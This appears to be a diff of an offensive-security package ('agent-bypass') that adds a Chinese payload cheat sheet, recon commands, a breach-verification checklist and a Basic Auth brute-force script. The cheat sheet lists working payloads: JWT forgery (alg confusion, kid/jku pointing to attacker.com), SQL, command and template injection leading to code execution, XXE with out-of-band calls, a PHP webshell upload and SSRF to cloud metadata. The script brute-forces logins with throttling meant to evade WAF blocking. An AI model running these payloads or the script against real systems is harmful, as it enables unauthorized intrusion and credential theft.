agent-bypass 2.11.0

package/references/payloads.md

@@ -0,0 +1,301 @@
+# 黑盒测试 Payload 速查
+
+## 1. 认证绕过
+
+### 弱口令字典（优先顺序）
+```
+admin/admin          admin/admin123       admin/123456
+admin/admin888       admin/password       admin/admin@123
+test/test            root/root            guest/guest
+系统名+123（如 xianyu123 / mars123）
+文档/GitHub README 里公示的演示账号 ★
+```
+
+### 类型混淆绕过
+```
+# PHP 弱比较
+password=0            # 0 == "任意字符串"
+password[]=x          # 数组绕过 strcmp
+password=240610708    # MD5 = 0e462097431906509019562988736854
+                      # 与 0e 开头的 hash 弱比较相等
+
+# JSON 类型混淆
+{"password":true}
+{"password":0}
+{"password":[]}
+{"password":{"$ne":null}}   # NoSQL
+
+# 参数污染
+username=admin&username=test
+username=admin%00
+```
+
+### 验证码绕过
+```
+# 复用
+同一个验证码重复提交
+# 空值
+captcha=  /  captcha=null  /  删除该参数
+# 爆破
+数字4位验证码 → 无限尝试（先测是否有次数限制）
+# 响应篡改
+返回包改 {"success":false} → {"success":true}
+# 客户端校验
+直接跳过前端JS校验，调后端接口
+```
+
+### 前端加密绕过 ★
+```
+# 定位加密逻辑
+grep -rn "JSEncrypt\|RSA\|publicKey\|encrypt" *.js
+grep -rn "BEGIN PUBLIC KEY\|MFww\|MIIB" *.js *.html
+
+# RSA 公钥提取（JSEncrypt 格式）
+new JSEncrypt(); setPublicKey("MFww...")
+
+# 若配置文件泄露 privateKey → 可直接解密任意请求
+# 若无 privateKey → 用公钥加密自己的请求即可（加密仍是合法的）
+```
+
+### JWT
+
+**按命中率排序，RS256→HS256 混淆排第一（原版漏了）。**
+
+```
+★ ① RS256 → HS256 算法混淆（命中率最高）
+
+原理：服务端用非对称算法验签，但代码信任 JWT header 里的 alg 字段。
+      改成 HS256 后，服务端会拿"公钥"当 HMAC 密钥验签。
+      而公钥通常公开（前端JS / jwks.json / 证书），攻击者可以自己签。
+
+利用步骤：
+  1. 拿到公钥
+     - 从前端 JS: grep -oE "MFww[A-Za-z0-9+/=]{20,}"
+     - 从 /jwks.json / /.well-known/jwks.json
+     - 从 SSL 证书提取
+  2. 用公钥当 HMAC 密钥重新签名
+     jwt_tool <token> -X k -pk public.pem
+  3. 或手工：
+     import jwt
+     jwt.encode(payload, public_key_pem, algorithm="HS256")
+
+  工具：jwt_tool -M at -np -pk public.pem
+        python3 jwt_forgery.py <token> <jwks_url>
+
+★ ② alg:none
+  {"alg":"none","typ":"JWT"} → 去掉签名部分（保留末尾的 .）
+  变体：none / None / NONE / nOnE（大小写绕过）
+
+★ ③ 弱密钥爆破（HS256）
+  hashcat -m 16500 jwt.txt rockyou.txt
+  jwt_tool <token> -C -d wordlist.txt
+  常见弱密钥：secret / password / changeme / 公司名 / 系统名
+
+④ kid 注入
+  {"alg":"HS256","kid":"../../../../dev/null"}      # 空密钥
+  {"alg":"HS256","kid":"http://attacker.com/key"}   # 加载外部密钥
+  {"kid":"1' UNION SELECT 'attackerkey'--"}         # SQL注入kid
+  {"kid":"/proc/sys/kernel/randomize_va_space"}     # 指向已知内容文件
+
+⑤ jku / x5u 注入
+  {"jku":"http://attacker.com/jwks.json"}           # 指向自己控制的JWKS
+
+⑥ 其他
+  - 篡改 payload 后不重签（服务端漏验签）
+  - 过期时间：检查是否真的校验 exp
+  - 敏感信息泄露：base64解payload看有无password/内部字段
+```
+
+
+## 2. 注入
+
+### SQL
+```
+'                          # 报错探测
+' OR '1'='1
+' OR 1=1--
+' AND SLEEP(5)--           # 时间盲注（MySQL）
+'; WAITFOR DELAY '0:0:5'--  # SQL Server
+'||pg_sleep(5)--            # PostgreSQL
+
+# 布尔盲注
+' AND SUBSTRING(database(),1,1)='a'--
+' AND (SELECT COUNT(*) FROM users)>0--
+
+# 报错注入
+' AND extractvalue(1,concat(0x7e,database()))--
+' AND updatexml(1,concat(0x7e,(SELECT user())),1)--
+
+# 绕过WAF
+/**/ 代替空格
++ 代替空格
+%09 %0a %0b %0c %0d 代替空格
+大小写混写 SeLeCt
+双写 UNunionION
+```
+
+### 命令注入
+```
+; id
+| id
+|| id
+& id
+&& id
+`id`
+$(id)
+%0a id            # 换行
+${IFS}            # 空格绕过
+$IFS$9
+# 盲注
+; sleep 5
+; ping -c 5 127.0.0.1
+```
+
+### SSTI
+```
+{{7*7}}              → 49 (Jinja2/Twig)
+${7*7}               → 49 (Freemarker/EL)
+#{7*7}               → 49 (EL)
+<%= 7*7 %>           → 49 (ERB)
+
+# Jinja2 RCE
+{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
+{{ ''.__class__.__mro__[1].__subclasses__()[X]('id',shell=True,stdout=-1).communicate() }}
+
+# Freemarker RCE
+<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
+```
+
+### XXE
+```xml
+<?xml version="1.0"?>
+<!DOCTYPE foo [
+  <!ENTITY xxe SYSTEM "file:///etc/passwd">
+]>
+<foo>&xxe;</foo>
+
+<!-- 盲XXE + OOB -->
+<!DOCTYPE foo [
+  <!ENTITY % file SYSTEM "file:///etc/passwd">
+  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
+  %dtd;
+]>
+<!-- SSRF -->
+<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
+```
+
+## 3. 逻辑漏洞
+
+```
+# 金额
+price=0.01
+price=-1
+price=1e-10
+quantity=-1
+
+# 竞态（并发）
+# 用 Turbo Intruder / 自写多线程同时发同一请求
+# 场景：优惠券、提现、注册、库存、积分兑换
+
+# 流程绕过
+直接访问最终步骤的接口
+跳过支付回调，手动调用"支付成功"接口
+订单状态机：取消后仍能发货
+
+# 越权
+/user?id=1 → 遍历 id
+/api/v1/orders/{order_id} → 换成别人的
+用低权账号的 token 调高权接口
+
+# 任意用户密码重置
+# 只靠 username 就能重置，无 token 校验
+# 或 token 可预测 / 从响应泄露
+```
+
+## 4. 文件
+
+### 任意文件读取
+```
+../../../../etc/passwd
+../../../../windows/win.ini
+..%2f..%2f..%2fetc%2fpasswd
+%2e%2e%2f%2e%2e%2f
+....//....//....//
+..%252f..%252f          # 双重编码
+/etc/passwd%00
+php://filter/convert.base64-encode/resource=index.php
+```
+
+### 文件上传
+```
+# 后缀绕过
+shell.php5  shell.phtml  shell.pht  shell.php7
+shell.php.  shell.php%00.jpg  shell.php%20
+shell.pHp  shell.PHP
+.htaccess（改解析规则）
+# Content-Type 绕过
+Content-Type: image/jpeg
+# 魔术字节
+GIF89a<?php system($_GET['c']); ?>
+# 竞争上传
+上传后立刻访问（先落地后校验的场景）
+```
+
+## 5. SSRF
+
+```
+url=http://127.0.0.1:8080/admin
+url=http://169.254.169.254/latest/meta-data/     # 云元数据
+url=http://[::1]:80
+url=http://0x7f000001/
+url=http://2130706433/
+url=http://localhost.attacker.com/               # DNS重绑定
+url=file:///etc/passwd
+url=dict://127.0.0.1:6379/info
+url=gopher://127.0.0.1:6379/_INFO                # 打Redis
+
+# 绕过黑名单
+用短网址
+URL解析差异（@、#、\）
+302跳转
+```
+
+## 6. 未授权接口探测
+
+```bash
+# 常见路径
+/internal/  /debug/  /actuator/  /admin/  /api/v1/sync/
+/worker/  /health  /metrics  /env  /config
+
+# Spring Boot Actuator
+/actuator/env          → 环境变量（可能含密码）
+/actuator/heapdump     → 堆转储（可提取凭据）
+/actuator/mappings     → 所有路由
+/actuator/beans
+
+# 判据
+- 框架文档 security 标注为空 → 必须实测验证
+- 实测技巧：不传任何 token 直接请求，看是否返回数据
+- 反向验证：故意传错误参数，看错误信息是否泄露内部结构
+```
+
+## 7. 响应分析技巧 ★
+
+```
+# 响应长度差异 = 逻辑可区分
+7342字节 vs 7345字节  → 服务端走了不同分支
+
+# 状态码含义
+200 存在且可访问
+301/302 存在，可能需认证（看 Location）
+401 需认证
+403 存在但被拒（可能可绕过）
+404 不存在
+500 存在但出错（参数不对）
+
+# 错误信息利用
+"机器码长度应为32位，当前19位"  → 反推校验规则
+"账号密码不能为空"             → 参数名是 account/password
+"用户名 密码错误"              → 参数名是 username
+"此卡密已超过邮箱验证码最大限制" → 存在配额逻辑
+```

package/references/recon-commands.md

@@ -0,0 +1,234 @@
+# 情报收集命令集
+
+## 一、被动收集（不触碰目标）
+
+### 域名与 DNS
+```bash
+whois target.com
+dig +short target.com A
+dig +short target.com MX
+dig +short target.com TXT          # 常含 SPF/验证信息
+dig +short target.com NS
+dig +short -x 1.2.3.4              # 反查
+
+# DNS 历史（找已废弃但可能仍在用的IP）
+# securitytrails.com / viewdns.info / dnsdumpster.com
+```
+
+### 证书透明度（子域金矿）
+```bash
+curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | tr ',' '\n' | sort -u
+```
+> 证书日志会暴露**所有签发过证书的子域**，包括测试环境、内部系统。
+> 常能发现几十个子域，每个都可能是独立攻击面。
+
+### ★ GitHub / 代码仓库搜索（最高价值）
+
+```bash
+# 网页搜索语法
+"target.com" password
+"target.com" api_key
+"target.com" secret
+"target.com" token
+org:TargetOrg filename:.env
+org:TargetOrg filename:application.yml
+org:TargetOrg filename:config.php
+path:**/config/*.yml
+filename:.env DB_PASSWORD
+filename:docker-compose.yml password
+"BEGIN RSA PRIVATE KEY"
+"BEGIN OPENSSH PRIVATE KEY"
+```
+
+```bash
+# 工具
+trufflehog git https://github.com/org/repo --only-verified
+gitleaks detect --source . -v
+# grep.app 可在所有公开仓库中搜字符串
+```
+
+**重点文件类型**：
+```
+.env  .env.bak  config.php  database.yml  application-prod.yml
+settings.py  wp-config.php  docker-compose.yml  .git-credentials
+*.pem  *.key  id_rsa  *.p12  *.jks  keystore
+```
+
+**中文项目常搜**：
+```
+搜索：目标公司名 + 数据库 / 支付 / 后台
+搜索：目标系统名 + 源码 / 破解版 / 开心版
+```
+
+### 资产测绘平台
+```
+FOFA      fofa.info
+Quake      quake.360.cn
+Hunter     hunter.how
+Shodan     shodan.io
+Censys     censys.io
+ZoomEye    zoomeye.org
+```
+
+```bash
+# FOFA 核心语法
+domain="target.com"
+cert="target.com"                  # ★ 证书反查，挖关联资产
+ip="1.2.3.4"                       # ★ 同IP所有站点，攻击面翻倍
+body="特征字符串"                   # 找同款系统
+title="系统名"
+header="Server: nginx/1.18.0"
+icon_hash="-1234567890"            # ★ favicon指纹，找同源系统
+port="8080" && country="CN"
+org="公司名"
+```
+
+**多资产关联技巧**：
+1. `domain=` 找目标全部资产
+2. `cert=` 找同一证书下的其他域名（同一个人/公司）
+3. `ip=` 找同机部署的所有站点
+4. `icon_hash=` 找使用同款系统的其他实例（可能有更早的版本漏洞）
+5. `body="报错字符串"` 找同款系统
+
+### 历史与快照
+```
+web.archive.org                    # 历史页面
+urlscan.io                         # 历史扫描记录
+github.com/search                  # 泄露的源码
+```
+
+### 商务信息
+```
+ICP备案：beian.miit.gov.cn
+工商：天眼查 / 企查查 / 国家企业信用信息公示系统
+域名注册：whois（注意隐私保护，可用历史whois）
+```
+
+## 二、主动收集（需授权，会留日志）
+
+### 端口与服务
+```bash
+# 快速全端口
+nmap -sS -p- --min-rate 2000 -T4 target
+masscan -p1-65535 --rate=5000 target
+
+# 服务识别
+nmap -sV -sC -p 22,80,443,3306,6379,8080,8089,9000 target
+nmap -sV --script http-title,http-headers,http-enum target
+
+# UDP（别忘）
+nmap -sU --top-ports 100 target
+```
+
+### 指纹识别
+```bash
+whatweb -a 3 https://target
+wafw00f https://target
+curl -sI https://target                          # 看 Server / X-Powered-By
+curl -s https://target/favicon.ico | md5sum     # favicon hash
+```
+
+### 目录与文件爆破
+```bash
+# 目录
+ffuf -u https://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,401,403
+dirsearch -u https://target -e php,asp,aspx,jsp,html,js
+
+# 敏感文件（手工必试清单）
+/.git/config
+/.env
+/.env.bak
+/backup.zip
+/www.zip
+/database.sql
+/phpinfo.php
+/robots.txt
+/sitemap.xml
+/swagger-ui.html
+/actuator
+/openapi.json
+/Dockerfile
+/package.json
+/composer.json
+
+# 备份文件后缀
+index.php.bak  index.php~  index.php.swp  index.php.save
+config.php.old  config.php.orig  index.php.1
+```
+
+### 子域爆破
+```bash
+subfinder -d target -silent | httpx -silent -title -sc
+amass enum -passive -d target
+dnsx -d target -w subdomains.txt
+```
+
+### 从文档拿接口清单（★ 高性价比）
+```bash
+curl -s https://target/openapi.json | jq '.paths | keys'
+curl -s https://target/v2/api-docs | jq '.paths | keys'
+curl -s https://target/actuator/mappings | jq
+curl -s https://target/swagger-ui.html
+
+# 提取所有接口路径
+curl -s https://target/openapi.json | jq -r '.paths | keys[]' | sort
+```
+
+## 三、协议分析（★ 别跳过）
+
+**在做任何利用之前，先用浏览器看真实请求长什么样：**
+
+```
+1. 打开目标页面
+2. F12 → Network → 勾选 Preserve log
+3. 执行目标操作（登录/提交订单/查询）
+4. 找到对应的 XHR/Fetch 请求
+5. 右键 → Copy as cURL
+6. 对着这个 curl 分析：请求头、参数格式、是否加密、是否有签名字段
+```
+
+**必查项**：
+```
+- 是否有 signature / sign / nonce / timestamp 字段
+- 请求体是明文还是加密（base64 / hex / RSA）
+- Content-Type 是 json 还是 form-urlencoded
+- 有没有自定义 Header（token / X-Api-Key / appid）
+- 前端 JS 里有没有加密函数（grep encrypt / JSEncrypt / AES / RSA）
+```
+
+```bash
+# 从 JS 中找加密逻辑和密钥
+curl -s https://target/static/js/main.js | grep -oE "(publicKey|privateKey|secretKey|aesKey|iv)\s*[:=]\s*['\"][^'\"]{8,}"
+curl -s https://target/static/js/main.js | grep -oE "MFww[A-Za-z0-9+/=]{20,}"
+curl -s https://target/static/js/main.js | grep -oE "BEGIN (PUBLIC|RSA)[A-Z ]*KEY"
+```
+
+> **教训**：如果登录接口总是返回"请完成验证"/"参数错误"，先怀疑**请求格式不对**，
+> 而不是急着归因给验证码或WAF。多数"卡死"是因为没按协议发请求。
+
+## 四、代理与抓包
+
+```bash
+# Burp Suite 常用
+# 拦截 → 改包 → 重放（Repeater）→ 爆破（Intruder）
+
+# 命令行代理
+curl -x http://127.0.0.1:8080 -k https://target
+
+# mitmproxy 脚本化改包
+mitmproxy -s script.py
+```
+
+## 五、协作与记录
+
+```bash
+# 保持目录结构
+recon/
+  subdomains.txt
+  ports.txt
+  screenshots/
+  requests/          # 保存原始请求响应
+  findings.md
+
+# 每个发现都记录：时间、命令、完整响应
+```

package/references/verification-checklist.md

@@ -0,0 +1,108 @@
+# 验证终点清单（防假突破）
+
+**核心原则：服务端说"成功" ≠ 你真的得到了东西。**
+
+## 三级验证模型
+
+```
+L1 服务端接受    接口返回 success / 2xx
+L2 数据落库      能被后续查询读到
+L3 实际可用      ★ 目标达成（能登录/能兑换/能读数据/能执行）
+```
+
+**L1 和 L2 都不能算成功。只有 L3 算。**
+
+## 逐项检查表
+
+### 生成类（卡密/邀请码/激活码/序列号）
+- [ ] 生成后能否在**消费端**使用？
+- [ ] 消费端在哪？是同一个系统吗？
+- [ ] 有没有可能消费端根本没部署？（去查服务实例数）
+- [ ] 服务端是否**无条件**返回成功？（用明显错误的输入对照）
+- [ ] 生成记录能否被查到？查到的**总数**和生成的**次数**对得上吗？
+
+**反面案例**：某系统 `/api/v1/activation/generate` 无鉴权，输入任意机器码就返回 `{"success":true,"activation_code":"6ABE7DD2-..."}`。
+- 看似拿到了卡密
+- 实际：另一个系统（卡网）根本认不出这个码 → `"卡密不存在"`
+- 且该实例 `total_instances: 0`，没有任何客户端会消费它
+- **结论：数据库里的孤儿记录，价值为零**
+
+### 操作类（启停/修改/删除）
+- [ ] 操作后**状态真的变了吗**？（再查一次状态）
+- [ ] 服务端是否无条件返回成功？
+- [ ] 操作的对象**是真实存在的吗**？
+- [ ] 有没有可能是空操作（对象不存在也返回成功）？
+
+**反面案例**：`POST /internal/accounts/1/restart` → `{"success":true,"message":"账号任务重启成功"}`
+- 看似重启成功了
+- 实际：该账号 `status: "stopped"`，`未找到有效的Cookie`，**本来就是死的**
+- 重启后再查，状态依然是 `stopped`
+- **结论：重启了一个不存在的号，毫无影响**
+
+### 数据读取类（脱敏字段/列表/导出）
+- [ ] 拿到的数据**完整吗**？缺的部分能补上吗？
+- [ ] 脱敏是否彻底？（重点查嵌套对象、`_original`、`debug`、`raw` 字段）
+- [ ] 缺失部分的**熵**是多少？可枚举吗？
+
+**反面案例**：某接口返回 `card_code: "4BB9************EC3B"`，但旁边有 `_original` 明文。
+- 看似拿到了卡密
+- 实际：只有前后各4位，中间12位未知
+- `16^12 = 2.8×10^14` 种可能，**无法枚举**
+- **结论：脱敏疏漏是真的，但核心熵还在，不构成有效泄露**
+
+### 认证类（登录/令牌）
+- [ ] 真的拿到 token 了吗？（不是 500 变成 200，是返回了 token 字段）
+- [ ] token 能用吗？（拿它去请求需要认证的接口）
+- [ ] 权限是什么级别？（`is_admin` 是 true 吗）
+- [ ] 响应变化是否只是错误分支改变？
+
+**判据**：
+```json
+{"success":false,"message":"..."}                                    ❌ 失败
+{"success":true,"token":"eyJ...","is_admin":true,"account_limit":N}  ✅ 成功
+```
+
+### 算法/规律推导类
+- [ ] 样本量够吗？（<100 样本不做算法断言）
+- [ ] 规律能**预测未知值**并验证吗？
+- [ ] 有没有可能是巧合？（多组对照）
+
+**反面案例**：从 4 个样本推出"激活码前8位=时间戳"，虽然验证吻合。
+- 但**这个系统本来就无鉴权**，不需要破解算法就能生成码
+- **结论：破解了已知的可直接访问的东西，无实际价值**
+
+## 危险信号（出现即停手自查）
+
+| 信号 | 可能的问题 |
+|---|---|
+| 所有请求都返回 success | 服务端无条件成功 |
+| 生成的东西找不到消费端 | 孤儿数据 |
+| 操作后状态没变 | 空操作 / 假接口 |
+| 数据有关键字段缺失 | 脱敏有效，没突破 |
+| 响应码变了但没看到数据 | 只是走了不同错误分支 |
+| 只有一个样本就总结规律 | 过拟合 |
+| 从 A 系统生成的东西拿去 B 系统用 | 系统混淆 |
+| 快速大量请求后被封 | 触发 WAF/风控 |
+
+## 诚实表述模板
+
+```
+❌ "我拿到了卡密"
+✅ "服务端返回了激活码并落库，但无法在任何消费端兑换，不是有效凭据"
+
+❌ "拿下了后台"
+✅ "发现 /internal/* 未授权可访问，能读统计信息和触发重启，未取得登录凭证"
+
+❌ "成功绕过了认证"
+✅ "响应码从500变为200，但未返回token，尚未确认绕过"
+
+❌ "破解了生成算法"
+✅ "从样本反推出前缀为时间戳，但该接口本就无鉴权，此发现无实用价值"
+```
+
+## 事后复盘必问
+
+1. 我宣布成功的那一刻，**验证的是终点还是中间点**？
+2. 如果我错了，**会是什么原因**？我排除过吗？
+3. 有没有可能这**只是看起来像突破**？
+4. 我的结论**可复现**吗？换个环境还成立吗？

package/scripts/basicauth_brute.py

@@ -0,0 +1,48 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+HTTP Basic Auth 爆破（低并发 + 退避，避免触发 WAF/封 IP）
+用法: python3 basicauth_brute.py <url> <userlist> <passlist> [--conc 4] [--delay 0.15]
+"""
+import sys, ssl, base64, time, json, argparse, urllib.request, urllib.error, concurrent.futures
+
+UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36"
+CTX = ssl.create_default_context(); CTX.check_hostname = False; CTX.verify_mode = ssl.CERT_NONE
+
+def try_one(url, user, pwd, delay):
+    if delay: time.sleep(delay)
+    tok = base64.b64encode(f"{user}:{pwd}".encode()).decode()
+    r = urllib.request.Request(url, headers={"User-Agent": UA, "Authorization": f"Basic {tok}"})
+    try:
+        with urllib.request.urlopen(r, timeout=10, context=CTX) as resp:
+            return (user, pwd, resp.status, resp.read(200))
+    except urllib.error.HTTPError as e:
+        return (user, pwd, e.code, b"")
+    except Exception as e:
+        return (user, pwd, 0, str(e).encode()[:100])
+
+def main():
+    ap = argparse.ArgumentParser()
+    ap.add_argument("url"); ap.add_argument("users"); ap.add_argument("passes")
+    ap.add_argument("--conc", type=int, default=4); ap.add_argument("--delay", type=float, default=0.15)
+    a = ap.parse_args()
+    users = [l.strip() for l in open(a.users) if l.strip()]
+    passes = [l.strip() for l in open(a.passes) if l.strip()]
+    print(f"[*] {len(users)} users x {len(passes)} passes = {len(users)*len(passes)} attempts", file=sys.stderr)
+    n = 0
+    with concurrent.futures.ThreadPoolExecutor(max_workers=a.conc) as ex:
+        futs = [ex.submit(try_one, a.url, u, p, a.delay) for u in users for p in passes]
+        for f in concurrent.futures.as_completed(futs):
+            u, p, st, body = f.result()
+            n += 1
+            if st in (200, 302, 301):
+                print(json.dumps({"HIT": True, "user": u, "pass": p, "status": st,
+                                  "body": body.decode("utf-8", "replace")[:150]}))
+            elif st not in (401, 0):
+                print(json.dumps({"odd": True, "user": u, "pass": p, "status": st}))
+            if n % 50 == 0:
+                print(f"[*] {n} done", file=sys.stderr)
+    print(json.dumps({"done": True, "attempts": n}))
+
+if __name__ == "__main__":
+    main()